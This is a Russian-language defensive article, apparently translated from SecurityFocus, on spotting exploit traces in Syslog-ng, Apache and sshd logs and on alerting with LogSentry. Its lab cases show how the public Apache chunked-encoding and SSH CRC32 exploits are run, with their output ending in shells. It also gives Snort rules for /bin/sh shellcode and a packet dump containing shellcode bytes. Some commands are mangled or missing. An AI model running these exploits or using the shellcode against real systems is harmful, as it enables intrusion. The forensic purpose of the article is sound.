Определение эксплоитов в системных и прикладных журналах регистрации

Специалисты, исследующие и анализирующие инциденты, используют множество различных автоматических инструментов, с помощью которых можно детально проанализировать вторжение. Основным источником информации при расследовании инцидентов являются журналы регистрации. Аналитик обязан понимать и распознавать следы, которые оставляет после себя эксплоит в журналах регистрации. Идентификация этих сигнатур и их воздействие на журналы приложений позволяет определить, что происходило во время инцидента.
В этой статье мы рассмотрим способы идентификации отпечатков, которые оставляют эксплоиты в системных журналах регистрации. Затем, используя эти данные, определим воздействие эксплоитов на систему. Мы надеемся, что эта статья поможет создать методологию, которой должен придерживаться исследователь при разборе инцидента, анализируя журналы регистрации системы и приложений, как доказательный ресурс вместо систем обнаружения вторжения. Большинство примеров в статье базируются на OpenBSD, хотя все указанные продукты и методики могут работать и под другими *NIX-системами, в частности под Linux.

уведомляющие сообщения

В этом разделе мы рассмотрим некоторые инструменты, которые используются для предупреждения конечного пользователя. Такие утилиты обычно работают совместно с Syslog-ng (Syslog Next Generation) и могут посылать предупреждения через электронную почту или другие средства связи. Используя эти инструменты, пользователи смогут распознать сигнатуры эксплоитов веб-демонов, например Apache и IIS, и могут помочь в разработке отпечатка, который будет использоваться для понимания инцидента. Некоторые из исследуемых отпечатков будут включать эксплоиты “Apache Chunked Encoding” и переполнение буфера в PHP. Также мы обсудим установку и настройку программ, используемых для анализа журналов регистрации. Эти средства помогут проще администрировать системные журналы регистрации и уведомлять администратора о критических событиях.

LogSentry
LogSentry (ранее известный как Logcheck), используется для автоматического контроля системных файлов регистрации, посылая предупреждения по электронной почте, если произошло вторжение. Инструмент основан на программе, поставляемой с TIS Gauntlet firewall, и имеет множество улучшений, позволяющих ему проще интегрироваться в систему пользователя. LogSentry поддерживает несколько вариантов уведомлений, которые определяются системным администратором. Самый распространенный метод уведомления – почтовое сообщение: LogSentry взаимодействует с Sendmail, уведомляя список получателей при регистрации критического события.

конфигурирование Syslog-ng: шаг первый

Пользователям рекомендуется конфигурировать Syslog-ng таким образом, чтобы все предупреждающие сообщения посылались в один файл, для последующего анализа LogSentry. Такая конфигурация позволяет гарантированно обрабатывать все регистрационные сообщения. Для этого нам потребуется отредактировать файл /usr/local/etc/syslog-ng/syslog-ng.conf. Это файл содержит параметры конфигурации Syslog-ng. Более подробную информацию об этих параметрах можно прочитать в руководстве Syslog-ng. 
Создайте файл конфигурации Syslog-ng после загрузки и установки Syslog-ng:

################################
# Create your source           #
# log device file. This will   #
# be different for each        #
# OS type                      #
################################

source fw {          
               unix-dgram("/dev/log");              

               internal();};

################################# # Assign the destination        # # (TCP or local file)           # #################################

destination localhost {               file("/var/log/syslog-ng.all"); };

################################ # Tie your SOURCE and DST      # ################################

log {             source(fw); destination(localhost);

};   

Мы регистрируем все данные в файле "syslog-ng.all", расположенном в /var/log. По желанию, вы можете указать другое местоположение, редактируя строку /var/log/syslog-ng.all, в которой определяется файл регистрации для Syslog-ng. После изменения конфигурации, перезапустите Syslog-ng, посылая HUP к программе.

killall "HUP syslog-ng

После перезапуска Syslog-ng сервера, перейдите в регистрационный каталог и измените владельца файла регистрации на root и установите режим 600 на разрешениях файла. Сначала проверьте, существует ли файл; если его нет, создайте его.
Рекомендуется изменять владельца на root и 600 режим на любых подобных журналах. Журналы содержат очень чувствительную информацию и без надлежащих разрешений они могут раскрыть системные ошибки, пароли и уязвимости непривилегированным пользователям. 
Совет: пользователи BSD могут отредактировать сценарии /etc/daily, /etc/weekly, и /etc/monthly, расположенные в каталоге /etc/directory, и использовать функцию "rotate()", чтобы изменить разрешения журналов, если они были автоматически сброшены cron. Просто измените строку:

cp /dev/null "$file"; chmod 644 "$file"

на

cp /dev/null "$file"; chmod 600 "$file"

конфигурирование Syslog-ng: шаг второй
В этом разделе мы обсудим конфигурирование файлов logtail и logcheck, которые включены в пакет LogSentry. Перед тем, как двигаться дальше, необходимо отредактировать файл logcheck.sh, который, по умолчанию, расположен в каталоге /usr/local/etc. Откройте его в вашем любимом текстовом редакторе, и найдите строку “Configuration Section". 
Вы можете изменить переменную "Sysadmin" на имя по вашему выбору, которое может быть локальным пользователем системы или адресом электронной почты при использовании удаленной регистрации. Далее, прокручивайте вниз файл logcheck.sh, пока не обнаружите строку "Log File Configuration Section". Так как мы формируем LogSentry для работы с Syslog-ng, мы должны добавить следующую строку:

$ LOGTAIL /var/log/syslog-ng.all $TMPDIR/check.$$

Далее мы скомпилируем LogSentry для нашей операционной системы:
После установки LogSentry, отредактируйте crontab, чтобы выполнять программу, например каждые 15 минут:
После изменения crontab, пошлите ему HUP, чтобы перезапустить crond, тем самым, перезагружая его конфигурацию.
Чтобы проверить наши настройки, выполните сценарий logcheck.sh вручную и вызовите несколько предупреждений. Удостоверьтесь, что вся информация собирается в файле регистрации (/var/log/syslog-ng.all). Если вы получаете повторные сообщения при выполнении сценария logcheck.sh, что-то не в порядке с logtail. Не забудьте проверить разрешения logcheck-файлов.

разбор конкретного случая, часть первая

Это нападение эксплуатирует "chunking"-уязвимость в версиях Apache, которые не в состоянии должным образом вычислять требуемый размер буфера при обработке запросов, кодированных с механизмом "Chunked Encoding". Gobbles Research выпустил два эксплоита для этой уязвимости (apache-scalp.c и apache-nosejob.c). В нашем упражнении мы будем эксплуатировать OpenBSD-box с запущенной уязвимой версией Apache. Единственным отличием этих двух эксплоитов является то, что Apache-scalp работает только против операционной системы OpenBSD (3.0, 3.1), а Apache-nosejob против FreeBSD, OpenBSD, и NetBSD.
В нашем упражнении мы будем использовать эксплоит Apache-nosejob для проникновения в OpenBSD 3.1-систему, выполняющую уязвимый Apache 1.3.24. Сначала, давайте рассмотрим непосредственно эксплоит.

[loki@pa-iris GOBBLES]$ ./apache-nosejob -h 192.168.0.1:80 -o o

[*] Resolving target host.. 192.168.0.1 [*] Connecting.. connected! [*] Exploit output is 32322 bytes [*] Currently using retaddr 0x80000 [*] Currently using retaddr 0x88c00 [*] Currently using retaddr 0x91800 ;ppppPPPpPPPPp it's a TURKEY: type=OpenBSD,  delta=-146, retaddr=0x93200, repretaddr=6, repzero=36

Experts say this isn't exploitable, so nothing will happen now: *GOBBLE* [loki@pa-iris GOBBLES]$ ./apache-nosejob -h 192.168.0.1:80 -o o -c 0wn3d! [*] Resolving target host.. 192.168.0.1 [*] Connecting.. connected! [*] Exploit output is 32322 bytes [*] Currently using retaddr 0x80000 [*] Currently using retaddr 0x88c00 [*] Currently using retaddr 0x91800 ;ppPPPPPPpPPPPpPPpppPppppPPpppppPPppPPpppPPPpppppPpppp it's a TURKEY: type=OpenBSD, delta=-146, retaddr=0x98200, repretaddr=6, repzero=36 Experts say this isn't exploitable, so nothing will happen now: *GOBBLE* id uid=32767(nobody) gid=4294967295 ls -al total 9098 drwxr-xr-x 18 root wheel 512 Aug 8 09:53 . drwxr-xr-x 18 root wheel 512 Aug 8 09:53 .. -rw-r--r-- 1 root wheel 810 Apr 28 05:41 .cshrc -rw-r--r-- 2 root wheel 148 Oct 18 2001 .profile drwxr-xr-x 2 root wheel 512 Apr 13 17:04 altroot

Давайте пойдем дальше и проверим журналы регистрации Apache. Некоторые администраторы даже не знают, где хранится файл регистрации Apache. Это критично, так как Apache сохраняет в этих файлах любые связанные с ним события. Они должны быть расположены в $prefix/logs/. Файл, который мы рассмотрим — /path/to/apache/logs/error_log. 
Сразу же возникает вопрос: оставляет ли вообще этот эксплоит отпечатки в файлах регистрации Apache? Конечно, вы не найдете строку “Против вас был использован эксплоит Apache Scalp”. Мы должны исследовать сообщения об ошибках, которые сгенерировал этот эксплоит. Мы приводим только часть журнала регистрации, так как эти данные повторяются на нескольких страницах:

pa-obsd01# cat error_log

[Sat Aug 31 02:38:15 2002] [notice] Apache/1.3.24 (Unix) configured --resuming normal operations [Sat Aug 31 02:38:15 2002] [notice] Accept mutex: flock (Default: flock) [Sat Aug 31 02:38:25 2002] [notice] child pid 18709 exit signal Segmentation fault (11) [Sat Aug 31 02:38:25 2002] [notice] child pid 2755 exit signal Segmentation fault (11) [Sat Aug 31 02:38:25 2002] [notice] child pid 28354 exit signal Segmentation fault (11) [Sat Aug 31 02:38:25 2002] [notice] child pid 27110 exit signal Segmentation fault (11) [Sat Aug 31 02:38:25 2002] [notice] child pid 28888 exit signal Segmentation fault (11) [Sat Aug 31 02:38:25 2002] [notice] child pid 32142 exit signal Segmentation fault (11) [Sat Aug 31 02:38:27 2002] [notice] child pid 6740 exit signal Segmentation fault (11) [Sat Aug 31 02:38:27 2002] [notice] child pid 21507 exit signal Segmentation fault (11) [Sat Aug 31 02:38:28 2002] [notice] child pid 4969 exit signal Segmentation fault (11) [Sat Aug 31 02:38:28 2002] [notice] child pid 27417 exit signal Segmentation fault (11) [Sat Aug 31 02:38:28 2002] [notice] child pid 14010 exit signal Segmentation fault (11) [Sat Aug 31 02:38:28 2002] [notice] child pid 12271 exit signal Segmentation fault (11) [Sat Aug 31 02:38:29 2002] [notice] child pid 16779 exit signal Segmentation fault (11) [Sat Aug 31 02:38:29 2002] [notice] child pid 23834 exit signal Segmentation fault (11) [Sat Aug 31 02:38:29 2002] [notice] child pid 17386 exit signal Segmentation fault (11) [Sat Aug 31 02:38:29 2002] [notice] child pid 12003 exit signal Segmentation fault (11) [Sat Aug 31 02:38:29 2002] [notice] child pid 30402 exit signal Segmentation fault (11) [Sat Aug 31 02:38:29 2002] [notice] child pid 12953 exit signal Segmentation fault (11) [Sat Aug 31 02:38:29 2002] [notice] child pid 30256 exit signal Segmentation fault (11) [Sat Aug 31 02:38:29 2002] [notice] child pid 2097 exit signal Segmentation fault (11) [Sat Aug 31 02:38:30 2002] [notice] child pid 32632 exit signal Segmentation fault (11) [Sat Aug 31 02:38:30 2002] [notice] child pid 19012 exit signal Segmentation fault (11) [Sat Aug 31 02:38:30 2002] [notice] child pid 7927 exit signal Segmentation fault (11) [Sat Aug 31 02:38:30 2002] [notice] child pid 11282 exit signal Segmentation fault (11) [Sat Aug 31 02:38:30 2002] [notice] child pid 26411 exit signal Segmentation fault (11) [Sat Aug 31 02:38:30 2002] [notice] child pid 14635 exit signal Segmentation fault (11) [Sat Aug 31 02:38:30 2002] [notice] child pid 23530 exit signal Segmentation fault (11) [Sat Aug 31 02:38:30 2002] [notice] child pid 2026 exit signal Segmentation fault (11)

Внимательно его рассмотрим. Дочерние процессы Apache сохранили "Segfaulting" в результате действия эксплоита. Мы фактически вошли через 80 порт, выполняя команды как процесс Apache. См. ниже:

SuPassword:changemeyou are not in group wheelSorry
Aug 31 02:47:16 fw@pa-obsd01 su: BAD SU nobody to root

анализ системных журналов регистрации (SSHD)

Некоторое время назад уязвимость была обнаружена в CRC32 Compensation Attack Detector в OpenSSH и SSH. Несколько эксплоитов, эксплуатирующих эту уязвимость, опубликовали Teso. В этом разделе мы рассмотрим несколько отпечатков, которые эксплоит x3.bin оставляет в системных журналах.
В качестве жертвы использовалась система, на которой выполнялась уязвимая версия SSH-1.2.27.

[loki@pa-iris sshd-x3-xpl]$ ./x3 -t1 192.168.0.2 SSHD deattack exploit. By Dvorak with Code from teso (http://www.team-teso.net) Target: Small - SSH-1.5-1.2.27 Attacking: 192.168.0.2 Testing if remote sshd is vulnerable # ATTACH NOW YES # Finding h - buf distance (estimate) (1 ) testing 0x00000004 # SEGV # (2 ) testing 0x0000c804 # FOUND # Found buffer, determining exact diff Finding h - buf distance using the teso method (3 ) binary-search: h: 0x083fb7fc, slider: 0x00008000 # SEGV # (4 ) binary-search: h: 0x083f77fc, slider: 0x00004000 # SURVIVED #

<skipped>

(14) binary-search: h: 0x083f994c, slider: 0x00000010 # SURVIVED # (15) binary-search: h: 0x083f9954, slider: 0x00000008 # SEGV # Bin search done, testing result Finding exact h - buf distance (16) trying: 0x083f994c # SURVIVED # Exact match found at: 0x000066b4 Looking for exact buffer address Finding exact buffer address (17) Trying: 0x080766b4 # SEGV # (18) Trying: 0x080776b4 # SEGV #

<skipped> (32) Trying: 0x080856b4 # SEGV # (33) Trying: 0x080866b4 # SURVIVED # Finding distance till stack buffer (34) Trying: 0xb7f81400 # SEGV # (35) Trying: 0xb7f81054 # SEGV #

<skipped> (54) Trying: 0xb7f7ca90 # SEGV # (55) Trying: 0xb7f7c6e4 # SURVIVED # verifying (56) Trying: 0xb7f7c6e4 # SEGV # OK Finding exact h - stack_buf distance (57) trying: 0xb7f7c4e4 slider: 0x0200# SURVIVED # <skipped>

(65) trying: 0xb7f7c402 slider: 0x0002# SEGV # Final stack_dist: 0xb7f7c404 EX: buf: 0x080836b4 h: 0x0807d000 ret-dist: 0xb7f7c38a ATTACH NOW Changing MSW of return address to: 0x0808 Crash, finding next return address Changing MSW of return address to: 0x0809 Crash, finding next return address EX: buf: 0x080836b4 h: 0x0807d000 ret-dist: 0xb7f7c386 ATTACH NOW Changing MSW of return address to: 0x0808 Crash, finding next return address Changing MSW of return address to: 0x0809 Crash, finding next return address EX: buf: 0x080836b4 h: 0x0807d000 ret-dist: 0xb7f7c38e ATTACH NOW Changing MSW of return address to: 0x0808 Crash, finding next return address Changing MSW of return address to: 0x0809 No Crash, might have worked Reply from remote: CHRIS CHRIS

***** YOU ARE IN ***** 

192.168.0.2 Linux fatelabs.net 2.4.9-34 #1 Sat Jun 1 06:23:33 EDT 2002 i586 unknown uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) ls bin boot dev etc home initrd lib lost+found misc mnt opt proc root sbin tmp usr var ls -al total 160 drwxr-xr-x 19 root root 4096 Aug 24 21:04 . drwxr-xr-x 19 root root 4096 Aug 24 21:04 .. drwxr-xr-x 2 root root 4096 Aug 24 21:26 bin drwxr-xr-x 2 root root 4096 Aug 24 22:18 boot

Теперь мы рассмотрим, что было обнаружено в нашем Syslog-ng-файле регистрации. Советуем прочитать статью Дэвида Диттрича — http://staff.washington.edu/dittrich/misc/ssh-analysis.txt, которую он написал после того, как была скомпрометирована машина в сети Вашингтонского университета. Консультации CERT об этой уязвимости можно прочитать наhttp://www.kb.cert.org/vuls/id/945216.

Aug 28 16:59:20 research@fatelabs.net sshd[29178]: log: Connection from 192.168.0.1port 56215 Aug 28 16:59:28 research@fatelabs.net sshd[29179]: log: Connection from 192.168.0.1port 59150 Aug 28 16:59:35 research@fatelabs.net sshd[29180]: log: Connection from 192.168.0.1port 51777 Aug 28 16:59:42 research@fatelabs.net sshd[29180]: fatal: Local: Corrupted check bytes on input. Aug 28 16:59:42 research@fatelabs.net sshd[29181]: log: Connection from 192.168.0.1port 53554 Aug 28 16:59:49 research@fatelabs.net sshd[29182]: log: Connection from 192.168.0.1port 63955 Aug 28 16:59:55 research@fatelabs.net sshd[29182]: fatal: Local: Corrupted check bytes on input. Aug 28 16:59:55 research@fatelabs.net sshd[29184]: log: Connection from  192.168.0.1port 57141 Aug 28 17:00:02 research@fatelabs.net sshd[29184]: fatal: Local: Corrupted  check bytes on input. Aug 28 17:00:02 research@fatelabs.net sshd[29185]: log: Connection from  192.168.0.1port 54562 Aug 28 17:00:11 research@fatelabs.net sshd[29186]: log: Connection from  192.168.0.1port 52892 Aug 28 17:00:17 research@fatelabs.net sshd[29187]: log: Connection from  192.168.0.1port 51656 Aug 28 17:00:24 research@fatelabs.net sshd[29188]: log: Connection from  192.168.0.1port 56346 Aug 28 17:00:31 research@fatelabs.net sshd[29189]: log: Connection from  192.168.0.1port 55799 Aug 28 17:00:38 research@fatelabs.net sshd[29189]: fatal: Local: Corrupted  check bytes on input. Aug 28 17:00:39 research@fatelabs.net sshd[29190]: log: Connection from  192.168.0.1port 60690 Aug 28 17:00:46 research@fatelabs.net sshd[29191]: log: Connection from  192.168.0.1port 62887 Aug 28 17:00:59 research@fatelabs.net sshd[29191]: fatal: Local: Corrupted  check bytes on input. Aug 28 17:01:01 research@fatelabs.net sshd[29192]: log: Connection from  192.168.0.1port 62835 Aug 28 17:01:10 research@fatelabs.net sshd[29193]: log: Connection from  192.168.0.1port 61933 Aug 28 17:01:17 research@fatelabs.net sshd[29193]: fatal: Local: Corrupted  check bytes on input. Aug 28 17:01:17 research@fatelabs.net sshd[29194]: log: Connection from  192.168.0.1port 57821 Aug 28 17:01:28 research@fatelabs.net sshd[29195]: log: Connection from  192.168.0.1port 64229 Aug 28 17:01:43 research@fatelabs.net sshd[29195]: fatal: Local: Corrupted  check bytes on input. Aug 28 17:01:43 research@fatelabs.net sshd[29196]: log: Connection from 192.168.0.1port 56214 Aug 28 17:01:50 research@fatelabs.net sshd[29197]: log: Connection from  192.168.0.1port 51820 Aug 28 17:01:56 research@fatelabs.net sshd[29198]: log: Connection from  192.168.0.1port 58898 Aug 28 17:02:03 research@fatelabs.net sshd[29199]: log: Connection from  192.168.0.1port 56122 Aug 28 17:02:10 research@fatelabs.net sshd[29200]: log: Connection from  192.168.0.1port 60827 Aug 28 17:02:16 research@fatelabs.net sshd[29201]: log: Connection from  192.168.0.1port 57259 Aug 28 17:02:23 research@fatelabs.net sshd[29202]: log: Connection from  192.168.0.1port 57454 Aug 28 17:02:30 research@fatelabs.net sshd[29203]: log: Connection from  192.168.0.1port 55942 Aug 28 17:02:36 research@fatelabs.net sshd[29204]: log: Connection from  192.168.0.1port 59009 Aug 28 17:02:43 research@fatelabs.net sshd[29205]: log: Connection from  192.168.0.1port 64371 Aug 28 17:02:51 research@fatelabs.net sshd[29206]: log: Connection from  192.168.0.1port 65325 Aug 28 17:02:58 research@fatelabs.net sshd[29207]: log: Connection from  192.168.0.1port 51174 Aug 28 17:03:05 research@fatelabs.net sshd[29208]: log: Connection from  192.168.0.1port 50036 Aug 28 17:03:11 research@fatelabs.net sshd[29209]: log: Connection from  192.168.0.1port 59576 Aug 28 17:03:18 research@fatelabs.net sshd[29210]: log: Connection from  192.168.0.1port 52679 Aug 28 17:03:25 research@fatelabs.net sshd[29211]: log: Connection from  192.168.0.1port 57647 Aug 28 17:03:31 research@fatelabs.net sshd[29212]: log: Connection from  192.168.0.1port 62787 Aug 28 17:03:38 research@fatelabs.net sshd[29212]: fatal: Local: crc32  compensation attack: network attack detected

На что, прежде всего, нужно обратить внимание в этих файлах регистрации? Что должно произойти только в том случае, если нападение имело место? Первым сигналом об опасности может послужить сообщение от процесса SSHD (fatal: Local: crc32 compensation attack: network attack detected), предупреждающее, что предпринята попытка использования некоторой формы нападения CRC32.  Другим известным следом являются “листья” эксплоита — множественные попытки подключения с одного IP-адреса в пределах 6-7 секунд. Присутствие сотен попыток подключения вероятнее всего указывает на автоматизированный сценарий, а не на действия индивидуума, забывшего свой пароль. Еще одной зацепкой может послужить ошибка "corrupted check bytes on input" в журнале. Дело в том, что эта ошибка очень редкая, и ее может вызвать только этот эксплоит. Следующие сигнатуры были разработаны Мартай Роешом и Брайеном Касвеллом для использования с Snort v1.8.

---- snip / from David Dittrich's research paper ----  The following signatures were developed by  Marty Roesch and Brian Caswell, for use with Snort v1.8 or higher [6].  

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= alert tcp $EXTERNAL_NET any -> $HOME_NET 22 \ (msg:"EXPLOIT ssh CRC32 overflow /bin/sh"; \ flags:A+; content:"/bin/sh"; \ reference:bugtraq,2347; reference:cve,CVE-2001-0144; \ classtype:shellcode-detect;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 22 \ (msg:"EXPLOIT ssh CRC32 overflow filler"; \ flags:A+; content:"|00 00 00 00 00 00 00 00 00 00 00 00 00|"; \ reference:bugtraq,2347; reference:cve,CVE-2001-0144; \ classtype:shellcode-detect;) 

alert tcp $EXTERNAL_NET any -> $HOME_NET 22 \ (msg:"EXPLOIT ssh CRC32 overflow NOOP"; \ flags:A+; content:"|90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90|"; \ reference:bugtraq,2347; reference:cve,CVE-2001-0144; \ classtype:shellcode-detect;) 

alert tcp $EXTERNAL_NET any -> $HOME_NET 22 \ (msg:"EXPLOIT ssh CRC32 overflow"; \ flags:A+; content:"|00 01 57 00 00 00 18|"; offset:0; depth:7; \ content:"|FF FF FF FF 00 00|"; offset:8; depth:14; \ reference:bugtraq,2347; reference:cve,CVE-2001-0144; \ classtype:shellcode-detect;) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Это Snort-packetdump последнего пакета от нападения. Дамп пакета от нападения может использоваться для того, чтобы создать дополнительные сигнатуры для IDS.

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ [**] Fate Labs Research - SSH TESTS [**] 08/28-17:13:14.731740 0:0:77:95:5C:B2 -> 0:48:54:6D:FB:CC type:0x800 len:0x456 64.129.236.193:55450 -> 24.42.198.82:22 TCP TTL:48 TOS:0x0 ID:38244 IpLen:20 DgmLen:1096 DF ***AP*** Seq: 0x7F494DD0 Ack: 0xF4E81DC0 Win: 0x1920 TcpLen: 32 TCP Options (3) => NOP NOP TS: 85218943 32607779 0x0000: 00 48 54 6D FB CC 00 00 77 95 5C B2 08 00 45 00 .HTm....w.\...E. 0x0010: 04 48 95 64 40 00 30 06 A5 8C 40 81 EC C1 18 2A .H.d@.0...@....* 0x0020: C6 52 D8 9A 00 16 7F 49 4D D0 F4 E8 1D C0 80 18 .R.....IM....... 0x0030: 19 20 7C 01 00 00 01 01 08 0A 05 14 56 7F 01 F1 . |.........V... 0x0040: 8E 23 90 90 90 90 90 90 90 90 90 90 90 90 90 90 .#.............. 0x0050: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x0060: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x0070: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x0080: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x0090: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x00A0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x00B0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x00C0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x00D0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x00E0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x00F0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x02A0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x02B0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x02C0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x02D0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x02E0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x02F0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x0300: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x0310: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x0320: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x0330: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x0340: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x0350: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x0360: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x0370: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x0380: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x0390: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x03A0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x03B0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x03C0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x03D0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 31 DB ..............1. 0x03E0: B3 07 89 E2 6A 10 89 E1 51 52 68 FE 00 00 00 89 ....j...QRh..... 0x03F0: E1 31 C0 B0 66 CD 80 A8 FF 74 0B 5A F6 C2 FF 74 .1..f....t.Z...t 0x0400: 4E FE CA 52 EB EB 5B 31 C9 B1 03 FE C9 31 C0 B0 N..R..[1.....1.. 0x0410: 3F CD 80 67 E3 02 EB F3 6A 04 6A 00 6A 12 6A 01 ?..g....j.j.j.j. 0x0420: 53 B8 66 00 00 00 BB 0E 00 00 00 89 E1 CD 80 6A S.f............j 0x0430: 00 6A 00 68 2F 73 68 00 68 2F 62 69 6E 8D 4C 24 .j.h/sh.h/bin.L$ 0x0440: 08 8D 54 24 0C 89 21 89 E3 31 C0 B0 0B CD 80 31 ..T$..!..1.....1 0x0450: C0 FE C0 CD 80 00 ...... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

выводы

Администраторы системы должны контролировать системный файл регистрации так же основательно, как они контролируют IDS-предупреждения. Помните, что системы обнаружения вторжения могут обнаружить только нападения, о которых они заранее знают (по сигнатурам) и что новые или неизвестные атаки не будут обнаружены. Apache "Chunk" эксплоит, обсужденный в этой статье, является хорошим тому примером. Как только он всплыл, мы должны создать наши собственные сигнатуры, пока сигнатуры для Snort не стали доступны. Такое нападение мы способны обнаружить только потому, что мы контролируем файл регистрации Apache. Множество инструментов с открытым исходным кодом, которые делают уведомления и центральную регистрацию, в настоящее время доступны для конечных пользователей. Мы рекомендуем администраторам защиты заменить Syslog на Syslog-ng и установить регистрационный инструмент уведомления, типа Logsentry, чтобы получать по электронной почте информацию о критических событиях. Так же полезно установить безопасный центральный сервер регистрации для того, чтобы сохранить зарегистрированные события в другом месте. Это критично, когда система скомпрометирована, и регистрационной информации на сервере нельзя доверять.  Истинная защита не достигается использованием дорогих систем межсетевой защиты, VPN, или систем обнаружения вторжения. Серьезную безопасность можно обеспечить, контролируя журналы, и таким образом наблюдая за нападениями, которые системы обнаружения вторжения, возможно, пропустили. Поскольку решения защиты становятся все более совершенными, будут появляться средства и методы их обхода. Так, например, существует средство ADMmutate и методы уклонения IDS (наприемр использование фрагментации). Если администратор системы контролирует только IDS-регистрацию, то с помощью этих средств можно осуществить нападения, которые не будут обнаружены.

По материалам Securityfocus